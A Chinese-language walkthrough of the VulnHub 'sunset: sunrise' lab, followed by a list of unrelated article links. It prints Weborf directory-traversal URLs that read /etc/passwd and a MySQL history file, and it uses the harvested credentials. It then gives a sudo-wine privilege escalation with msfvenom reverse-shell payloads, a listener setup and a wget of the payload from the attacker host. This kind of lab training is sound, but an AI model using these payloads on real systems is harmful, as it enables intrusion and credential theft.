当前位置: 首页 > news >正文

sunset: sunrise

sunset: sunrise

来自 <sunset: sunrise ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.140

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.140

1. 22/tcp (SSH - OpenSSH 7.9p1)

  • 版本对应 Debian 10 Buster 默认版本。
  • 潜在风险点
    • 如果存在弱口令/默认口令,可爆破登录。
    • OpenSSH 7.9 尚未有重大漏洞,但依赖 系统用户密码安全性
    • 如果搭配了错误的 sudo 权限,可能进一步提权。

攻击路径:Hydra/Medusa/Patator 爆破 → 结合字典尝试 SSH 登录。

2. 80/tcp (HTTP - Apache 2.4.38 on Debian)

  • HTTP 服务器运行在 Debian 上。
  • 返回页面 index.nginx-debian.html,说明 Web 环境存在混合配置(可能曾安装 Nginx 后迁移)。
  • 目录结构暴露,可能有敏感文件可下载。

潜在攻击点:

  • Apache 2.4.38 在 Debian 上可能受到部分模块漏洞影响(例如 mod_cgi、mod_ssl 配置问题)。
  • 可进一步探测:
    • 目录扫描 (gobuster/dirsearch/ffuf)
    • CVE 漏洞检测 (nikto, nuclei)
    • 手工测试 XSS/SQLi/LFI/RFI

攻击思路:目录爆破 → 代码审计/弱点利用 → Webshell 上传

3. 3306/tcp (MariaDB 10.3.24)

  • 数据库服务,未授权访问被拒绝。
  • 表明数据库监听外网,存在潜在风险。

利用思路:

  • 弱口令/默认凭证尝试(root/空密码)。
  • 如果 Web 服务存在 SQL 注入,可以作为突破口。
  • 若可访问数据库 → 获取用户密码哈希 → 反向破解。

攻击路径:SQL 注入 → 数据库用户爆破 → 提权 MySQL → 读取 /etc/shadow 等文件

4. 8080/tcp (Weborf 0.12.2 with WebDAV)

  • Weborf 是一个轻量级 Web/FTP 服务器。
  • 启用了 WebDAV,支持:GET, POST, PUT, DELETE, OPTIONS, PROPFIND, MKCOL, COPY, MOVE。
  • PUT / DELETE 等危险方法开放,可直接上传/删除文件
  • html/ 目录可访问,可能是网站根目录。

风险点:

  • 如果 PUT 未受限制,可上传 Webshell(例如 PHP)直接 RCE。
  • Weborf 0.12.2 是较老版本,存在 目录遍历与拒绝服务漏洞(CVE-2017 类似问题)。
  • DAV 配置不当 → 可作为持久化后门点。

攻击思路:

  • davtest / cadaver 测试 PUT 上传可行性。
  • 上传一句话木马,结合 80 端口 PHP 环境访问执行。
  • 如果执行失败 → 继续利用 WebDAV 进行目录遍历。

4,访问80端口开放的http服务

存在一个默认网页

扫描枚举其网页子目录,结果什么都没有

dirsearch -u http://192.168.23.140 -x 403,404

5,再访问8080端口开放的http服务

Weborf 介绍

1. 基本概念

Weborf 是一个轻量级的 Web 服务器,由 Federico Morelli 编写,属于开源项目(GNU GPL 许可)。

它的目标是提供一种非常小巧、快速、简易配置的 Web 服务器,主要用于:

  • 快速共享文件(类似 Python http.server)。
  • 提供 WebDAV(Web-based Distributed Authoring and Versioning)服务。
  • 在嵌入式系统、低性能服务器中作为轻量级替代方案。

它不像 Apache/Nginx 那样功能强大,而是走 “轻量 + 简洁” 路线。

2. 功能特点

  • 跨平台:主要运行在 Linux。
  • 轻量级:二进制程序体积小,依赖少,适合嵌入式设备。
  • 目录浏览:可以像 FTP 一样列出文件目录。
  • WebDAV 支持:支持文件的远程管理(PUT/DELETE/MKCOL/COPY/MOVE)。
  • 虚拟目录:允许映射目录,不必严格依赖真实文件路径。
  • 简单配置:只需要最小配置文件即可运行。

3. 默认服务端口

  • HTTP 默认端口:80
  • 常见替代端口:8080(很多环境下用作文件分享服务)

在你的扫描结果中就发现了 8080/tcp 上运行 Weborf 0.12.2

4. WebDAV 支持

Weborf 内置 WebDAV (RFC 4918),这让它不仅能提供静态网页,还能像共享盘一样使用。

支持的常见方法包括:

  • GET:获取文件
  • PUT:上传文件
  • DELETE:删除文件
  • MKCOL:新建目录
  • COPY/MOVE:移动或复制文件
  • PROPFIND:查询文件属性

安全风险点:如果没有启用用户认证,攻击者可以直接上传/删除文件 → 获得远程代码执行。

5. 版本情况

  • 最新版本(截止 2025)大约是 0.13.x
  • 你的扫描结果发现的 0.12.2 属于较旧版本,存在多个安全隐患:
    • 弱认证机制:早期版本常缺少强制认证。
    • 路径遍历漏洞(部分版本可绕过目录限制)。
    • 拒绝服务漏洞:构造特殊请求导致崩溃。

6,这个web服务器的版本比较老,使用kali数据库检索其漏洞利用方法

这个版本存在目录穿越漏洞,阅读其使用方法

searchsploit -m 14925.txt

漏洞利用成功

http://192.168.23.140:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

然后就通过这个漏洞去窃取敏感信息,如两个用户目录下有没有什么可用信息。

/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fsunrise%2f

/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fsunrise%2fuser.txt

/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f

/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2fweborf-0.12.2%2f

然后再拿dirsearch扫描网站有什么隐藏子目录
dirsearch -u http://192.168.23.140:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f

尝试访问/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fhome%2fweborf%2f/.mysql_history

得到一个用户的账户密码weborf/iheartrainbows44

7,开放的22端口ssh服务,3306端口的mysql服务。都尝试登录一下

ssh weborf@192.168.23.140

ssh登录成功,mysql也登录成功

mysql -u weborf -piheartrainbows44

show databases;

use mysql;

show tables;

select * from user;

select User,Password from user;

在mysql数据库user表中得到sunrise的明文密码thefutureissobrightigottawearshades和root用户的加密密码

8,横向移动,切换到sunrise用户

su sunrise

id

uname -a

lsb_release -a

查看一下sudo提权是否可行

Wine sudo 提权方法

1. 背景知识

  • Wine:是一个兼容层(Windows Emulator),可以在 Linux/Unix 上运行 Windows 程序(EXE/DLL)。
  • sudo:Linux 权限提升工具,允许低权限用户以 root 权限运行某些程序。

当 sudo 配置允许普通用户以 root 身份运行 wine 时,就可能导致 任意命令执行提权

2. 典型错误配置

在 /etc/sudoers 文件或 /etc/sudoers.d/ 配置中有类似条目:

user ALL=(ALL) NOPASSWD: /usr/bin/wine

这表示用户 user 可以 无需密码 直接执行 wine,而 wine 可以加载/运行 Windows 可执行文件,进而执行任意 Linux 命令。

3. 利用原理

Wine 本身提供了调用 Linux 系统命令的能力,例如:

  1. 在 Windows 程序里调用 cmd.exe powershell.exe → Wine 会模拟执行。
  2. Wine 可以访问宿主系统的文件系统(例如 /etc, /bin, /root)。
  3. 如果以 root 权限运行 Wine,攻击者就能通过它访问/修改任意文件。

4. 提权方法

方法一:直接调用 Shell

sudo wine cmd.exe

进入 Wine 提供的 Windows 命令行后,可以执行:

C:\> /bin/bash -i

→ 直接获得 root shell

方法二:创建恶意 EXE

用 msfvenom 或 mingw 编译一个执行 /bin/bash 的 EXE 文件:

msfvenom -p linux/x86/exec CMD=/bin/bash -f exe -o shell.exe

然后用 sudo 执行:

sudo wine shell.exe

→ 弹出 root 权限 shell。

方法三:利用 Wine 环境变量

Wine 会读取宿主环境变量,例如 WINEPREFIX。

如果 sudoers 没有限制 env_reset,攻击者可通过伪造环境变量 → 加载恶意库 → root 提权。

方法四:访问宿主文件

即使没有直接执行 shell,攻击者也能:

sudo wine notepad C:\\windows\\system32\\drivers\\etc\\hosts

→ 实际上打开的是 Linux 下的 /etc/hosts,此时以 root 权限写入,能篡改系统配置文件。

进一步可以编辑 /etc/sudoers → 永久提权。

5. 攻防要点

攻击者视角

  • 检查 /etc/sudoers 中是否有 wine wineconsole
  • 如果存在 → 直接执行 sudo wine cmd.exe 或上传恶意 EXE 提权。
  • 结合 本地信息泄露(日志、数据库凭证),进一步横向。

防御者视角

  • 绝对不要 给普通用户配置 sudo wine。
  • 如果必须(例如测试环境),要用 NOPASSWD 限制到具体路径(且仅限无危害的 exe 文件)。
  • 建议通过 AppArmor/SELinux 限制 Wine 运行权限。

总结

Wine + sudo 是一个 高危组合

  • 允许用户运行 sudo wine ≈ 给了他们一个 root 权限的 Windows 解释器。
  • 攻击者可以轻松绕过限制,直接获取 root。

因此在渗透场景中,发现 sudo wine 基本等于 “秒提权”

9,漏洞利用方法很简单,msfvenom制作一个反弹shell的exe木马

msfvenom -p windows/meterpreter/reverse_tcp -f exe  --platform windows -a x86 LHOST=192.168.23.128 LPORT=4444 -o shell.exe

python -m http.server

然后msfconsole监听对应端口

msfconsole -q

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.23.128

run

最后在靶机上下载攻击机的恶意木马,再使用sudo wine执行木马程序

cd /tmp

wget http://192.168.23.128:8000/shell.exe

sudo /usr/bin/wine shell.exe

关键问题分析

问题1:架构和操作系统不匹配

  • 你的 payload 是 Windows x86,Meterpreter 设计用在 Windows 系统上,依赖 Windows 内核 API(线程、进程、Socket 等)。
  • 靶机是 Linux(Debian 10 + Weborf + MariaDB 等),用 Wine 运行 Windows payload:
    • Wine 模拟 Windows API,但不完全兼容
    • Windows 的 Meterpreter loader 无法正常在 Wine 环境执行 → 立即崩溃
  • 所以 Metasploit handler 收到的 session 直接 died

问题2:Wine 并不能直接做提权

  • 虽然你是用 sudo wine shell.exe:
    • Wine 进程确实以 root 运行
    • 但 Windows payload 在 Wine 下运行失败 → 没有有效 shell
  • 也就是说,sudo 权限被浪费了,payload 根本没跑起来 → 无法提权。

问题3:网络问题不大,但也要注意

  • 反弹 shell 要求 LHOST 可达,目标能 ping 攻击机 IP
  • 你的核心问题是 payload 崩溃,网络不是主要因素。

http://www.xdnf.cn/news/1403875.html

相关文章:

  • CCS自定义函数.h与.c问题解决办法
  • “HEU-AUTO”无线上网使用指南
  • 【多项式】快速沃尔什变换 (FWT)
  • SpringCloud Alibaba微服务--Sentinel的使用
  • 【计算机视觉】Pixel逐像素分类Mask掩码分类理解摘要
  • 2025年- H102-Lc210--3658.奇数和与偶数和的最大公约数(gcd最大公约数)--Java版
  • 【Linux基础】深入理解Linux环境下的BIOS机制
  • PostgreSQL:突破关系型数据库的边界
  • AI公司是怎样对权重和损失函数做处理的?
  • nacos3端口漂移问题
  • mysql的内置函数
  • 论《运动战》
  • 个性化导航新体验:cpolar让Dashy支持语音控制
  • Tomcat 企业级运维实战系列(四):Tomcat 企业级监控
  • 数值分析——数据误差对函数值的影响
  • nacos 2.5.1 心跳源码解析
  • 基于单片机商用电子计价秤电子秤系统Proteus仿真(含全部资料)
  • 图解LLM(AI大模型)的工作原理
  • Redis 测试:过期 key 内存释放情况
  • 深入理解shared_ptr与循环引用问题
  • node.js ---文件读写(FS模块)
  • 用【Coze】实现文案提取+创作
  • 蓓韵安禧活性叶酸独立包装日期标注
  • 加密软件哪个好用?加密软件-为数据共享提供安全保障
  • 【基础-单选】例如现在要实现一个广告弹窗,包含图片和文本等信息,使用下面那种弹窗可以实现
  • ROS 2 机器人开发$2
  • 项目管理方法论有哪些流派
  • basic_ostream
  • Linux网络基础1(三)之网络与协议栈and网络传输基本流程
  • Yolov8损失函数:回顾Yolov8-Loss